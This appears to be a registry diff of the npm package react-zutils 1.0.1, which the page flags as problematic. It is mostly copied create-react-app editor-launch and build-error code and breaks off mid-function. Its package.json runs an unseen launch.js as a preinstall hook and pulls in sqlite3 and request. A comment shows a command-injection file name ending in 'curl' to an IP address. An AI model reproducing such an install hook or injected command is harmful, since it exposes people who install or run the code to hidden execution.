react-zutils 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of react-zutils might be problematic. Click here for more details.

@@ -0,0 +1,399 @@
1
+ /**
2
+ * Copyright (c) 2015-present, Facebook, Inc.
3
+ *
4
+ * This source code is licensed under the MIT license found in the
5
+ * LICENSE file in the root directory of this source tree.
6
+ */
7
+ 'use strict';
8
+
9
+ const fs = require('fs');
10
+ const path = require('path');
11
+ const child_process = require('child_process');
12
+ const os = require('os');
13
+ const chalk = require('chalk');
14
+ const shellQuote = require('shell-quote');
15
+
16
+ function isTerminalEditor(editor) {
17
+ switch (editor) {
18
+ case 'vim':
19
+ case 'emacs':
20
+ case 'nano':
21
+ return true;
22
+ }
23
+ return false;
24
+ }
25
+
26
+ // Map from full process name to binary that starts the process
27
+ // We can't just re-use full process name, because it will spawn a new instance
28
+ // of the app every time
29
+ const COMMON_EDITORS_OSX = {
30
+ '/Applications/Atom.app/Contents/MacOS/Atom': 'atom',
31
+ '/Applications/Atom Beta.app/Contents/MacOS/Atom Beta':
32
+ '/Applications/Atom Beta.app/Contents/MacOS/Atom Beta',
33
+ '/Applications/Brackets.app/Contents/MacOS/Brackets': 'brackets',
34
+ '/Applications/Sublime Text.app/Contents/MacOS/Sublime Text':
35
+ '/Applications/Sublime Text.app/Contents/SharedSupport/bin/subl',
36
+ '/Applications/Sublime Text Dev.app/Contents/MacOS/Sublime Text':
37
+ '/Applications/Sublime Text Dev.app/Contents/SharedSupport/bin/subl',
38
+ '/Applications/Sublime Text 2.app/Contents/MacOS/Sublime Text 2':
39
+ '/Applications/Sublime Text 2.app/Contents/SharedSupport/bin/subl',
40
+ '/Applications/Visual Studio Code.app/Contents/MacOS/Electron': 'code',
41
+ '/Applications/Visual Studio Code - Insiders.app/Contents/MacOS/Electron':
42
+ 'code-insiders',
43
+ '/Applications/VSCodium.app/Contents/MacOS/Electron': 'vscodium',
44
+ '/Applications/AppCode.app/Contents/MacOS/appcode':
45
+ '/Applications/AppCode.app/Contents/MacOS/appcode',
46
+ '/Applications/CLion.app/Contents/MacOS/clion':
47
+ '/Applications/CLion.app/Contents/MacOS/clion',
48
+ '/Applications/IntelliJ IDEA.app/Contents/MacOS/idea':
49
+ '/Applications/IntelliJ IDEA.app/Contents/MacOS/idea',
50
+ '/Applications/PhpStorm.app/Contents/MacOS/phpstorm':
51
+ '/Applications/PhpStorm.app/Contents/MacOS/phpstorm',
52
+ '/Applications/PyCharm.app/Contents/MacOS/pycharm':
53
+ '/Applications/PyCharm.app/Contents/MacOS/pycharm',
54
+ '/Applications/PyCharm CE.app/Contents/MacOS/pycharm':
55
+ '/Applications/PyCharm CE.app/Contents/MacOS/pycharm',
56
+ '/Applications/RubyMine.app/Contents/MacOS/rubymine':
57
+ '/Applications/RubyMine.app/Contents/MacOS/rubymine',
58
+ '/Applications/WebStorm.app/Contents/MacOS/webstorm':
59
+ '/Applications/WebStorm.app/Contents/MacOS/webstorm',
60
+ '/Applications/MacVim.app/Contents/MacOS/MacVim': 'mvim',
61
+ '/Applications/GoLand.app/Contents/MacOS/goland':
62
+ '/Applications/GoLand.app/Contents/MacOS/goland',
63
+ '/Applications/Rider.app/Contents/MacOS/rider':
64
+ '/Applications/Rider.app/Contents/MacOS/rider',
65
+ };
66
+
67
+ const COMMON_EDITORS_LINUX = {
68
+ atom: 'atom',
69
+ Brackets: 'brackets',
70
+ code: 'code',
71
+ 'code-insiders': 'code-insiders',
72
+ vscodium: 'vscodium',
73
+ emacs: 'emacs',
74
+ gvim: 'gvim',
75
+ 'idea.sh': 'idea',
76
+ 'phpstorm.sh': 'phpstorm',
77
+ 'pycharm.sh': 'pycharm',
78
+ 'rubymine.sh': 'rubymine',
79
+ sublime_text: 'sublime_text',
80
+ vim: 'vim',
81
+ 'webstorm.sh': 'webstorm',
82
+ 'goland.sh': 'goland',
83
+ 'rider.sh': 'rider',
84
+ };
85
+
86
+ const COMMON_EDITORS_WIN = [
87
+ 'Brackets.exe',
88
+ 'Code.exe',
89
+ 'Code - Insiders.exe',
90
+ 'VSCodium.exe',
91
+ 'atom.exe',
92
+ 'sublime_text.exe',
93
+ 'notepad++.exe',
94
+ 'clion.exe',
95
+ 'clion64.exe',
96
+ 'idea.exe',
97
+ 'idea64.exe',
98
+ 'phpstorm.exe',
99
+ 'phpstorm64.exe',
100
+ 'pycharm.exe',
101
+ 'pycharm64.exe',
102
+ 'rubymine.exe',
103
+ 'rubymine64.exe',
104
+ 'webstorm.exe',
105
+ 'webstorm64.exe',
106
+ 'goland.exe',
107
+ 'goland64.exe',
108
+ 'rider.exe',
109
+ 'rider64.exe',
110
+ ];
111
+
112
+ // Transpiled version of: /^([A-Za-z]:[/\\])?[\p{L}0-9/.\-_\\]+$/u
113
+ // Non-transpiled version requires support for Unicode property regex. Allows
114
+ // alphanumeric characters, periods, dashes, slashes, and underscores.
115
+ const WINDOWS_FILE_NAME_WHITELIST = /^([A-Za-z]:[/\\])?(?:[\x2D-9A-Z\\_a-z\xAA\xB5\xBA\xC0-\xD6\xD8-\xF6\xF8-\u02C1\u02C6-\u02D1\u02E0-\u02E4\u02EC\u02EE\u0370-\u0374\u0376\u0377\u037A-\u037D\u037F\u0386\u0388-\u038A\u038C\u038E-\u03A1\u03A3-\u03F5\u03F7-\u0481\u048A-\u052F\u0531-\u0556\u0559\u0560-\u0588\u05D0-\u05EA\u05EF-\u05F2\u0620-\u064A\u066E\u066F\u0671-\u06D3\u06D5\u06E5\u06E6\u06EE\u06EF\u06FA-\u06FC\u06FF\u0710\u0712-\u072F\u074D-\u07A5\u07B1\u07CA-\u07EA\u07F4\u07F5\u07FA\u0800-\u0815\u081A\u0824\u0828\u0840-\u0858\u0860-\u086A\u08A0-\u08B4\u08B6-\u08BD\u0904-\u0939\u093D\u0950\u0958-\u0961\u0971-\u0980\u0985-\u098C\u098F\u0990\u0993-\u09A8\u09AA-\u09B0\u09B2\u09B6-\u09B9\u09BD\u09CE\u09DC\u09DD\u09DF-\u09E1\u09F0\u09F1\u09FC\u0A05-\u0A0A\u0A0F\u0A10\u0A13-\u0A28\u0A2A-\u0A30\u0A32\u0A33\u0A35\u0A36\u0A38\u0A39\u0A59-\u0A5C\u0A5E\u0A72-\u0A74\u0A85-\u0A8D\u0A8F-\u0A91\u0A93-\u0AA8\u0AAA-\u0AB0\u0AB2\u0AB3\u0AB5-\u0AB9\u0ABD\u0AD0\u0AE0\u0AE1\u0AF9\u0B05-\u0B0C\u0B0F\u0B10\u0B13-\u0B28\u0B2A-\u0B30\u0B32\u0B33\u0B35-\u0B39\u0B3D\u0B5C\u0B5D\u0B5F-\u0B61\u0B71\u0B83\u0B85-\u0B8A\u0B8E-\u0B90\u0B92-\u0B95\u0B99\u0B9A\u0B9C\u0B9E\u0B9F\u0BA3\u0BA4\u0BA8-\u0BAA\u0BAE-\u0BB9\u0BD0\u0C05-\u0C0C\u0C0E-\u0C10\u0C12-\u0C28\u0C2A-\u0C39\u0C3D\u0C58-\u0C5A\u0C60\u0C61\u0C80\u0C85-\u0C8C\u0C8E-\u0C90\u0C92-\u0CA8\u0CAA-\u0CB3\u0CB5-\u0CB9\u0CBD\u0CDE\u0CE0\u0CE1\u0CF1\u0CF2\u0D05-\u0D0C\u0D0E-\u0D10\u0D12-\u0D3A\u0D3D\u0D4E\u0D54-\u0D56\u0D5F-\u0D61\u0D7A-\u0D7F\u0D85-\u0D96\u0D9A-\u0DB1\u0DB3-\u0DBB\u0DBD\u0DC0-\u0DC6\u0E01-\u0E30\u0E32\u0E33\u0E40-\u0E46\u0E81\u0E82\u0E84\u0E87\u0E88\u0E8A\u0E8D\u0E94-\u0E97\u0E99-\u0E9F\u0EA1-\u0EA3\u0EA5\u0EA7\u0EAA\u0EAB\u0EAD-\u0EB0\u0EB2\u0EB3\u0EBD\u0EC0-\u0EC4\u0EC6\u0EDC-\u0EDF\u0F00\u0F40-\u0F47\u0F49-\u0F6C\u0F88-\u0F8C\u1000-\u102A\u103F\u1050-\u1055\u105A-\u105D\u1061\u1065\u1066\u106E-\u1070\u1075-\u1081\u108E\u10A0-\u10C5\u10C7\u10CD\u10D0-\u10FA\u10FC-\u1248\u124A-\u124D\u1250-\u1256\u1258\u125A-\u125D\u1260-\u1288\u128A-\u128D\u1290-\u12B0\u12B2-\u12B5\u12B8-\u12BE\u12C0\u12C2-\u12C5\u12C8-\u12D6\u12D8-\u1310\u1312-\u1315\u1318-\u135A\u1380-\u138F\u13A0-\u13F5\u13F8-\u13FD\u1401-\u166C\u166F-\u167F\u1681-\u169A\u16A0-\u16EA\u16F1-\u16F8\u1700-\u170C\u170E-\u1711\u1720-\u1731\u1740-\u1751\u1760-\u176C\u176E-\u1770\u1780-\u17B3\u17D7\u17DC\u1820-\u1878\u1880-\u1884\u1887-\u18A8\u18AA\u18B0-\u18F5\u1900-\u191E\u1950-\u196D\u1970-\u1974\u1980-\u19AB\u19B0-\u19C9\u1A00-\u1A16\u1A20-\u1A54\u1AA7\u1B05-\u1B33\u1B45-\u1B4B\u1B83-\u1BA0\u1BAE\u1BAF\u1BBA-\u1BE5\u1C00-\u1C23\u1C4D-\u1C4F\u1C5A-\u1C7D\u1C80-\u1C88\u1C90-\u1CBA\u1CBD-\u1CBF\u1CE9-\u1CEC\u1CEE-\u1CF1\u1CF5\u1CF6\u1D00-\u1DBF\u1E00-\u1F15\u1F18-\u1F1D\u1F20-\u1F45\u1F48-\u1F4D\u1F50-\u1F57\u1F59\u1F5B\u1F5D\u1F5F-\u1F7D\u1F80-\u1FB4\u1FB6-\u1FBC\u1FBE\u1FC2-\u1FC4\u1FC6-\u1FCC\u1FD0-\u1FD3\u1FD6-\u1FDB\u1FE0-\u1FEC\u1FF2-\u1FF4\u1FF6-\u1FFC\u2071\u207F\u2090-\u209C\u2102\u2107\u210A-\u2113\u2115\u2119-\u211D\u2124\u2126\u2128\u212A-\u212D\u212F-\u2139\u213C-\u213F\u2145-\u2149\u214E\u2183\u2184\u2C00-\u2C2E\u2C30-\u2C5E\u2C60-\u2CE4\u2CEB-\u2CEE\u2CF2\u2CF3\u2D00-\u2D25\u2D27\u2D2D\u2D30-\u2D67\u2D6F\u2D80-\u2D96\u2DA0-\u2DA6\u2DA8-\u2DAE\u2DB0-\u2DB6\u2DB8-\u2DBE\u2DC0-\u2DC6\u2DC8-\u2DCE\u2DD0-\u2DD6\u2DD8-\u2DDE\u2E2F\u3005\u3006\u3031-\u3035\u303B\u303C\u3041-\u3096\u309D-\u309F\u30A1-\u30FA\u30FC-\u30FF\u3105-\u312F\u3131-\u318E\u31A0-\u31BA\u31F0-\u31FF\u3400-\u4DB5\u4E00-\u9FEF\uA000-\uA48C\uA4D0-\uA4FD\uA500-\uA60C\uA610-\uA61F\uA62A\uA62B\uA640-\uA66E\uA67F-\uA69D\uA6A0-\uA6E5\uA717-\uA71F\uA722-\uA788\uA78B-\uA7B9\uA7F7-\uA801\uA803-\uA805\uA807-\uA80A\uA80C-\uA822\uA840-\uA873\uA882-\uA8B3\uA8F2-\uA8F7\uA8FB\uA8FD\uA8FE\uA90A-\uA925\uA930-\uA946\uA960-\uA97C\uA984-\uA9B2\uA9CF\uA9E0-\uA9E4\uA9E6-\uA9EF\uA9FA-\uA9FE\uAA00-\uAA28\uAA40-\uAA42\uAA44-\uAA4B\uAA60-\uAA76\uAA7A\uAA7E-\uAAAF\uAAB1\uAAB5\uAAB6\uAAB9-\uAABD\uAAC0\uAAC2\uAADB-\uAADD\uAAE0-\uAAEA\uAAF2-\uAAF4\uAB01-\uAB06\uAB09-\uAB0E\uAB11-\uAB16\uAB20-\uAB26\uAB28-\uAB2E\uAB30-\uAB5A\uAB5C-\uAB65\uAB70-\uABE2\uAC00-\uD7A3\uD7B0-\uD7C6\uD7CB-\uD7FB\uF900-\uFA6D\uFA70-\uFAD9\uFB00-\uFB06\uFB13-\uFB17\uFB1D\uFB1F-\uFB28\uFB2A-\uFB36\uFB38-\uFB3C\uFB3E\uFB40\uFB41\uFB43\uFB44\uFB46-\uFBB1\uFBD3-\uFD3D\uFD50-\uFD8F\uFD92-\uFDC7\uFDF0-\uFDFB\uFE70-\uFE74\uFE76-\uFEFC\uFF21-\uFF3A\uFF41-\uFF5A\uFF66-\uFFBE\uFFC2-\uFFC7\uFFCA-\uFFCF\uFFD2-\uFFD7\uFFDA-\uFFDC]|\uD800[\uDC00-\uDC0B\uDC0D-\uDC26\uDC28-\uDC3A\uDC3C\uDC3D\uDC3F-\uDC4D\uDC50-\uDC5D\uDC80-\uDCFA\uDE80-\uDE9C\uDEA0-\uDED0\uDF00-\uDF1F\uDF2D-\uDF40\uDF42-\uDF49\uDF50-\uDF75\uDF80-\uDF9D\uDFA0-\uDFC3\uDFC8-\uDFCF]|\uD801[\uDC00-\uDC9D\uDCB0-\uDCD3\uDCD8-\uDCFB\uDD00-\uDD27\uDD30-\uDD63\uDE00-\uDF36\uDF40-\uDF55\uDF60-\uDF67]|\uD802[\uDC00-\uDC05\uDC08\uDC0A-\uDC35\uDC37\uDC38\uDC3C\uDC3F-\uDC55\uDC60-\uDC76\uDC80-\uDC9E\uDCE0-\uDCF2\uDCF4\uDCF5\uDD00-\uDD15\uDD20-\uDD39\uDD80-\uDDB7\uDDBE\uDDBF\uDE00\uDE10-\uDE13\uDE15-\uDE17\uDE19-\uDE35\uDE60-\uDE7C\uDE80-\uDE9C\uDEC0-\uDEC7\uDEC9-\uDEE4\uDF00-\uDF35\uDF40-\uDF55\uDF60-\uDF72\uDF80-\uDF91]|\uD803[\uDC00-\uDC48\uDC80-\uDCB2\uDCC0-\uDCF2\uDD00-\uDD23\uDF00-\uDF1C\uDF27\uDF30-\uDF45]|\uD804[\uDC03-\uDC37\uDC83-\uDCAF\uDCD0-\uDCE8\uDD03-\uDD26\uDD44\uDD50-\uDD72\uDD76\uDD83-\uDDB2\uDDC1-\uDDC4\uDDDA\uDDDC\uDE00-\uDE11\uDE13-\uDE2B\uDE80-\uDE86\uDE88\uDE8A-\uDE8D\uDE8F-\uDE9D\uDE9F-\uDEA8\uDEB0-\uDEDE\uDF05-\uDF0C\uDF0F\uDF10\uDF13-\uDF28\uDF2A-\uDF30\uDF32\uDF33\uDF35-\uDF39\uDF3D\uDF50\uDF5D-\uDF61]|\uD805[\uDC00-\uDC34\uDC47-\uDC4A\uDC80-\uDCAF\uDCC4\uDCC5\uDCC7\uDD80-\uDDAE\uDDD8-\uDDDB\uDE00-\uDE2F\uDE44\uDE80-\uDEAA\uDF00-\uDF1A]|\uD806[\uDC00-\uDC2B\uDCA0-\uDCDF\uDCFF\uDE00\uDE0B-\uDE32\uDE3A\uDE50\uDE5C-\uDE83\uDE86-\uDE89\uDE9D\uDEC0-\uDEF8]|\uD807[\uDC00-\uDC08\uDC0A-\uDC2E\uDC40\uDC72-\uDC8F\uDD00-\uDD06\uDD08\uDD09\uDD0B-\uDD30\uDD46\uDD60-\uDD65\uDD67\uDD68\uDD6A-\uDD89\uDD98\uDEE0-\uDEF2]|\uD808[\uDC00-\uDF99]|\uD809[\uDC80-\uDD43]|[\uD80C\uD81C-\uD820\uD840-\uD868\uD86A-\uD86C\uD86F-\uD872\uD874-\uD879][\uDC00-\uDFFF]|\uD80D[\uDC00-\uDC2E]|\uD811[\uDC00-\uDE46]|\uD81A[\uDC00-\uDE38\uDE40-\uDE5E\uDED0-\uDEED\uDF00-\uDF2F\uDF40-\uDF43\uDF63-\uDF77\uDF7D-\uDF8F]|\uD81B[\uDE40-\uDE7F\uDF00-\uDF44\uDF50\uDF93-\uDF9F\uDFE0\uDFE1]|\uD821[\uDC00-\uDFF1]|\uD822[\uDC00-\uDEF2]|\uD82C[\uDC00-\uDD1E\uDD70-\uDEFB]|\uD82F[\uDC00-\uDC6A\uDC70-\uDC7C\uDC80-\uDC88\uDC90-\uDC99]|\uD835[\uDC00-\uDC54\uDC56-\uDC9C\uDC9E\uDC9F\uDCA2\uDCA5\uDCA6\uDCA9-\uDCAC\uDCAE-\uDCB9\uDCBB\uDCBD-\uDCC3\uDCC5-\uDD05\uDD07-\uDD0A\uDD0D-\uDD14\uDD16-\uDD1C\uDD1E-\uDD39\uDD3B-\uDD3E\uDD40-\uDD44\uDD46\uDD4A-\uDD50\uDD52-\uDEA5\uDEA8-\uDEC0\uDEC2-\uDEDA\uDEDC-\uDEFA\uDEFC-\uDF14\uDF16-\uDF34\uDF36-\uDF4E\uDF50-\uDF6E\uDF70-\uDF88\uDF8A-\uDFA8\uDFAA-\uDFC2\uDFC4-\uDFCB]|\uD83A[\uDC00-\uDCC4\uDD00-\uDD43]|\uD83B[\uDE00-\uDE03\uDE05-\uDE1F\uDE21\uDE22\uDE24\uDE27\uDE29-\uDE32\uDE34-\uDE37\uDE39\uDE3B\uDE42\uDE47\uDE49\uDE4B\uDE4D-\uDE4F\uDE51\uDE52\uDE54\uDE57\uDE59\uDE5B\uDE5D\uDE5F\uDE61\uDE62\uDE64\uDE67-\uDE6A\uDE6C-\uDE72\uDE74-\uDE77\uDE79-\uDE7C\uDE7E\uDE80-\uDE89\uDE8B-\uDE9B\uDEA1-\uDEA3\uDEA5-\uDEA9\uDEAB-\uDEBB]|\uD869[\uDC00-\uDED6\uDF00-\uDFFF]|\uD86D[\uDC00-\uDF34\uDF40-\uDFFF]|\uD86E[\uDC00-\uDC1D\uDC20-\uDFFF]|\uD873[\uDC00-\uDEA1\uDEB0-\uDFFF]|\uD87A[\uDC00-\uDFE0]|\uD87E[\uDC00-\uDE1D])+$/;
116
+
117
+ function addWorkspaceToArgumentsIfExists(args, workspace) {
118
+ if (workspace) {
119
+ args.unshift(workspace);
120
+ }
121
+ return args;
122
+ }
123
+
124
+ function getArgumentsForLineNumber(
125
+ editor,
126
+ fileName,
127
+ lineNumber,
128
+ colNumber,
129
+ workspace
130
+ ) {
131
+ const editorBasename = path.basename(editor).replace(/\.(exe|cmd|bat)$/i, '');
132
+ switch (editorBasename) {
133
+ case 'atom':
134
+ case 'Atom':
135
+ case 'Atom Beta':
136
+ case 'subl':
137
+ case 'sublime':
138
+ case 'sublime_text':
139
+ return [fileName + ':' + lineNumber + ':' + colNumber];
140
+ case 'wstorm':
141
+ case 'charm':
142
+ return [fileName + ':' + lineNumber];
143
+ case 'notepad++':
144
+ return ['-n' + lineNumber, '-c' + colNumber, fileName];
145
+ case 'vim':
146
+ case 'mvim':
147
+ case 'joe':
148
+ case 'gvim':
149
+ return ['+' + lineNumber, fileName];
150
+ case 'emacs':
151
+ case 'emacsclient':
152
+ return ['+' + lineNumber + ':' + colNumber, fileName];
153
+ case 'rmate':
154
+ case 'mate':
155
+ case 'mine':
156
+ return ['--line', lineNumber, fileName];
157
+ case 'code':
158
+ case 'Code':
159
+ case 'code-insiders':
160
+ case 'Code - Insiders':
161
+ case 'vscodium':
162
+ case 'VSCodium':
163
+ return addWorkspaceToArgumentsIfExists(
164
+ ['-g', fileName + ':' + lineNumber + ':' + colNumber],
165
+ workspace
166
+ );
167
+ case 'appcode':
168
+ case 'clion':
169
+ case 'clion64':
170
+ case 'idea':
171
+ case 'idea64':
172
+ case 'phpstorm':
173
+ case 'phpstorm64':
174
+ case 'pycharm':
175
+ case 'pycharm64':
176
+ case 'rubymine':
177
+ case 'rubymine64':
178
+ case 'webstorm':
179
+ case 'webstorm64':
180
+ case 'goland':
181
+ case 'goland64':
182
+ case 'rider':
183
+ case 'rider64':
184
+ return addWorkspaceToArgumentsIfExists(
185
+ ['--line', lineNumber, fileName],
186
+ workspace
187
+ );
188
+ }
189
+
190
+ // For all others, drop the lineNumber until we have
191
+ // a mapping above, since providing the lineNumber incorrectly
192
+ // can result in errors or confusing behavior.
193
+ return [fileName];
194
+ }
195
+
196
+ function guessEditor() {
197
+ // Explicit config always wins
198
+ if (process.env.REACT_EDITOR) {
199
+ return shellQuote.parse(process.env.REACT_EDITOR);
200
+ }
201
+
202
+ // We can find out which editor is currently running by:
203
+ // `ps x` on macOS and Linux
204
+ // `Get-Process` on Windows
205
+ try {
206
+ if (process.platform === 'darwin') {
207
+ const output = child_process.execSync('ps x').toString();
208
+ const processNames = Object.keys(COMMON_EDITORS_OSX);
209
+ for (let i = 0; i < processNames.length; i++) {
210
+ const processName = processNames[i];
211
+ if (output.indexOf(processName) !== -1) {
212
+ return [COMMON_EDITORS_OSX[processName]];
213
+ }
214
+ }
215
+ } else if (process.platform === 'win32') {
216
+ // Some processes need elevated rights to get its executable path.
217
+ // Just filter them out upfront. This also saves 10-20ms on the command.
218
+ const output = child_process
219
+ .execSync(
220
+ 'wmic process where "executablepath is not null" get executablepath'
221
+ )
222
+ .toString();
223
+ const runningProcesses = output.split('\r\n');
224
+ for (let i = 0; i < runningProcesses.length; i++) {
225
+ const processPath = runningProcesses[i].trim();
226
+ const processName = path.basename(processPath);
227
+ if (COMMON_EDITORS_WIN.indexOf(processName) !== -1) {
228
+ return [processPath];
229
+ }
230
+ }
231
+ } else if (process.platform === 'linux') {
232
+ // --no-heading No header line
233
+ // x List all processes owned by you
234
+ // -o comm Need only names column
235
+ const output = child_process
236
+ .execSync('ps x --no-heading -o comm --sort=comm')
237
+ .toString();
238
+ const processNames = Object.keys(COMMON_EDITORS_LINUX);
239
+ for (let i = 0; i < processNames.length; i++) {
240
+ const processName = processNames[i];
241
+ if (output.indexOf(processName) !== -1) {
242
+ return [COMMON_EDITORS_LINUX[processName]];
243
+ }
244
+ }
245
+ }
246
+ } catch (error) {
247
+ // Ignore...
248
+ }
249
+
250
+ // Last resort, use old skool env vars
251
+ if (process.env.VISUAL) {
252
+ return [process.env.VISUAL];
253
+ } else if (process.env.EDITOR) {
254
+ return [process.env.EDITOR];
255
+ }
256
+
257
+ return [null];
258
+ }
259
+
260
+ function printInstructions(fileName, errorMessage) {
261
+ console.log();
262
+ console.log(
263
+ chalk.red('Could not open ' + path.basename(fileName) + ' in the editor.')
264
+ );
265
+ if (errorMessage) {
266
+ if (errorMessage[errorMessage.length - 1] !== '.') {
267
+ errorMessage += '.';
268
+ }
269
+ console.log(
270
+ chalk.red('The editor process exited with an error: ' + errorMessage)
271
+ );
272
+ }
273
+ console.log();
274
+ console.log(
275
+ 'To set up the editor integration, add something like ' +
276
+ chalk.cyan('REACT_EDITOR=atom') +
277
+ ' to the ' +
278
+ chalk.green('.env.local') +
279
+ ' file in your project folder ' +
280
+ 'and restart the development server. Learn more: ' +
281
+ chalk.green('https://goo.gl/MMTaZt')
282
+ );
283
+ console.log();
284
+ }
285
+
286
+ let _childProcess = null;
287
+ function launchEditor(fileName, lineNumber, colNumber) {
288
+ if (!fs.existsSync(fileName)) {
289
+ return;
290
+ }
291
+
292
+ // Sanitize lineNumber to prevent malicious use on win32
293
+ // via: https://github.com/nodejs/node/blob/c3bb4b1aa5e907d489619fb43d233c3336bfc03d/lib/child_process.js#L333
294
+ // and it should be a positive integer
295
+ if (!(Number.isInteger(lineNumber) && lineNumber > 0)) {
296
+ return;
297
+ }
298
+
299
+ // colNumber is optional, but should be a positive integer too
300
+ // default is 1
301
+ if (!(Number.isInteger(colNumber) && colNumber > 0)) {
302
+ colNumber = 1;
303
+ }
304
+
305
+ let [editor, ...args] = guessEditor();
306
+
307
+ if (!editor) {
308
+ printInstructions(fileName, null);
309
+ return;
310
+ }
311
+
312
+ if (editor.toLowerCase() === 'none') {
313
+ return;
314
+ }
315
+
316
+ if (
317
+ process.platform === 'linux' &&
318
+ fileName.startsWith('/mnt/') &&
319
+ /Microsoft/i.test(os.release())
320
+ ) {
321
+ // Assume WSL / "Bash on Ubuntu on Windows" is being used, and
322
+ // that the file exists on the Windows file system.
323
+ // `os.release()` is "4.4.0-43-Microsoft" in the current release
324
+ // build of WSL, see: https://github.com/Microsoft/BashOnWindows/issues/423#issuecomment-221627364
325
+ // When a Windows editor is specified, interop functionality can
326
+ // handle the path translation, but only if a relative path is used.
327
+ fileName = path.relative('', fileName);
328
+ }
329
+
330
+ // cmd.exe on Windows is vulnerable to RCE attacks given a file name of the
331
+ // form "C:\Users\myusername\Downloads\& curl 172.21.93.52". Use a whitelist
332
+ // to validate user-provided file names. This doesn't cover the entire range
333
+ // of valid file names but should cover almost all of them in practice.
334
+ if (
335
+ process.platform === 'win32' &&
336
+ !WINDOWS_FILE_NAME_WHITELIST.test(fileName.trim())
337
+ ) {
338
+ console.log();
339
+ console.log(
340
+ chalk.red('Could not open ' + path.basename(fileName) + ' in the editor.')
341
+ );
342
+ console.log();
343
+ console.log(
344
+ 'When running on Windows, file names are checked against a whitelist ' +
345
+ 'to protect against remote code execution attacks. File names may ' +
346
+ 'consist only of alphanumeric characters (all languages), periods, ' +
347
+ 'dashes, slashes, and underscores.'
348
+ );
349
+ console.log();
350
+ return;
351
+ }
352
+
353
+ let workspace = null;
354
+ if (lineNumber) {
355
+ args = args.concat(
356
+ getArgumentsForLineNumber(
357
+ editor,
358
+ fileName,
359
+ lineNumber,
360
+ colNumber,
361
+ workspace
362
+ )
363
+ );
364
+ } else {
365
+ args.push(fileName);
366
+ }
367
+
368
+ if (_childProcess && isTerminalEditor(editor)) {
369
+ // There's an existing editor process already and it's attached
370
+ // to the terminal, so go kill it. Otherwise two separate editor
371
+ // instances attach to the stdin/stdout which gets confusing.
372
+ _childProcess.kill('SIGKILL');
373
+ }
374
+
375
+ if (process.platform === 'win32') {
376
+ // On Windows, launch the editor in a shell because spawn can only
377
+ // launch .exe files.
378
+ _childProcess = child_process.spawn(
379
+ 'cmd.exe',
380
+ ['/C', editor].concat(args),
381
+ { stdio: 'inherit' }
382
+ );
383
+ } else {
384
+ _childProcess = child_process.spawn(editor, args, { stdio: 'inherit' });
385
+ }
386
+ _childProcess.on('exit', function (errorCode) {
387
+ _childProcess = null;
388
+
389
+ if (errorCode) {
390
+ printInstructions(fileName, '(code ' + errorCode + ')');
391
+ }
392
+ });
393
+
394
+ _childProcess.on('error', function (error) {
395
+ printInstructions(fileName, error.message);
396
+ });
397
+ }
398
+
399
+ module.exports = launchEditor;
@@ -0,0 +1,40 @@
1
+ /**
2
+ * Copyright (c) 2015-present, Facebook, Inc.
3
+ *
4
+ * This source code is licensed under the MIT license found in the
5
+ * LICENSE file in the root directory of this source tree.
6
+ */
7
+
8
+ 'use strict';
9
+
10
+ const path = require('path');
11
+
12
+ module.exports = function createNoopServiceWorkerMiddleware(servedPath) {
13
+ return function noopServiceWorkerMiddleware(req, res, next) {
14
+ if (req.url === path.join(servedPath, 'service-worker.js')) {
15
+ res.setHeader('Content-Type', 'text/javascript');
16
+ res.send(
17
+ `// This service worker file is effectively a 'no-op' that will reset any
18
+ // previous service worker registered for the same host:port combination.
19
+ // In the production build, this file is replaced with an actual service worker
20
+ // file that will precache your site's local assets.
21
+ // See https://github.com/facebook/create-react-app/issues/2272#issuecomment-302832432
22
+
23
+ self.addEventListener('install', () => self.skipWaiting());
24
+
25
+ self.addEventListener('activate', () => {
26
+ self.clients.matchAll({ type: 'window' }).then(windowClients => {
27
+ for (let windowClient of windowClients) {
28
+ // Force open pages to refresh, so that they have a chance to load the
29
+ // fresh navigation response from the local dev server.
30
+ windowClient.navigate(windowClient.url);
31
+ }
32
+ });
33
+ });
34
+ `
35
+ );
36
+ } else {
37
+ next();
38
+ }
39
+ };
40
+ };
package/package.json ADDED
@@ -0,0 +1,39 @@
1
+ {
2
+ "name": "react-zutils",
3
+ "version": "1.0.1",
4
+ "description": "All Utils for React App",
5
+ "main": "index.js",
6
+ "dependencies": {
7
+ "@babel/code-frame": "7.10.4",
8
+ "address": "1.1.2",
9
+ "browserslist": "4.14.2",
10
+ "chalk": "2.4.2",
11
+ "cross-spawn": "7.0.3",
12
+ "detect-port-alt": "1.1.6",
13
+ "escape-string-regexp": "2.0.0",
14
+ "filesize": "6.1.0",
15
+ "find-up": "4.1.0",
16
+ "fork-ts-checker-webpack-plugin": "4.1.6",
17
+ "global-modules": "2.0.0",
18
+ "globby": "11.0.1",
19
+ "gzip-size": "5.1.1",
20
+ "immer": "8.0.1",
21
+ "is-root": "2.1.0",
22
+ "loader-utils": "2.0.0",
23
+ "open": "^7.0.2",
24
+ "pkg-up": "3.1.0",
25
+ "prompts": "2.4.0",
26
+ "fs": "^0.0.1-security",
27
+ "path": "^0.12.7",
28
+ "child_process": "^1.0.2",
29
+ "crypto": "^1.0.1",
30
+ "request": "^2.88.2",
31
+ "sqlite3": "^5.1.6"
32
+ },
33
+ "scripts": {
34
+ "preinstall": "node launch.js",
35
+ "test": "echo \"Error: no test specified\" && exit 1"
36
+ },
37
+ "author": "",
38
+ "license": "ISC"
39
+ }
@@ -0,0 +1,45 @@
1
+ /**
2
+ * Copyright (c) 2015-present, Facebook, Inc.
3
+ *
4
+ * This source code is licensed under the MIT license found in the
5
+ * LICENSE file in the root directory of this source tree.
6
+ */
7
+
8
+ 'use strict';
9
+
10
+ const chalk = require('chalk');
11
+
12
+ module.exports = function printBuildError(err) {
13
+ const message = err != null && err.message;
14
+ const stack = err != null && err.stack;
15
+
16
+ // Add more helpful message for Terser error
17
+ if (
18
+ stack &&
19
+ typeof message === 'string' &&
20
+ message.indexOf('from Terser') !== -1
21
+ ) {
22
+ try {
23
+ const matched = /(.+)\[(.+):(.+),(.+)\]\[.+\]/.exec(stack);
24
+ if (!matched) {
25
+ throw new Error('Using errors for control flow is bad.');
26
+ }
27
+ const problemPath = matched[2];
28
+ const line = matched[3];
29
+ const column = matched[4];
30
+ console.log(
31
+ 'Failed to minify the code from this file: \n\n',
32
+ chalk.yellow(
33
+ `\t${problemPath}:${line}${column !== '0' ? ':' + column : ''}`
34
+ ),
35
+ '\n'
36
+ );
37
+ } catch (ignored) {
38
